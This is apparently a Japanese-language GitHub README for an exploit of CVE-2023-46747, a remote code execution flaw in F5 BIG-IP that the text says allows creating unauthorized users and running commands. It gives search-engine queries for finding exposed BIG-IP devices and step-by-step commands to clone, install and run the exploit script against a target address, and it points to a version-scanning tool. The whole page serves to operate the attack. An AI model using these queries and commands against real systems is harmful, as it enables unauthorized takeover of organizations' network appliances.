w01fh4cker/cve-2023-46747-rceCVE-2023-46747 のエクスプロイト。F5 BIG-IP におけるリモートコード実行の脆弱性で、不正なユーザー作成とコマンド実行を可能にします。
(title="BIG-IP®" || icon_hash="-335242539")
title:"BIG-IP®"
https://my.f5.com/manage/s/article/K000137353
現時点では、ここでのユーザーは admin のみです:
スクリプトを実行します:
git clone https://github.com/W01fh4cker/CVE-2023-46747-RCE.git
cd CVE-2023-46747-RCE
pip install -r requirements.txt
python CVE-2023-46747-RCE.py -u https://192.168.161.190
# python CVE-2023-46747-RCE.py -u https://192.168.161.190 -p http://127.0.0.1:7890
コマンドの実行に成功:
一部のバージョンではエクスプロイトが失敗します。参照: https://twitter.com/joel_land/status/1729147886615818732.
このスクリプト https://github.com/BishopFox/bigip-scanner を使用して、F5 BIG-IPのバージョン情報を収集できます。素晴らしいツールです！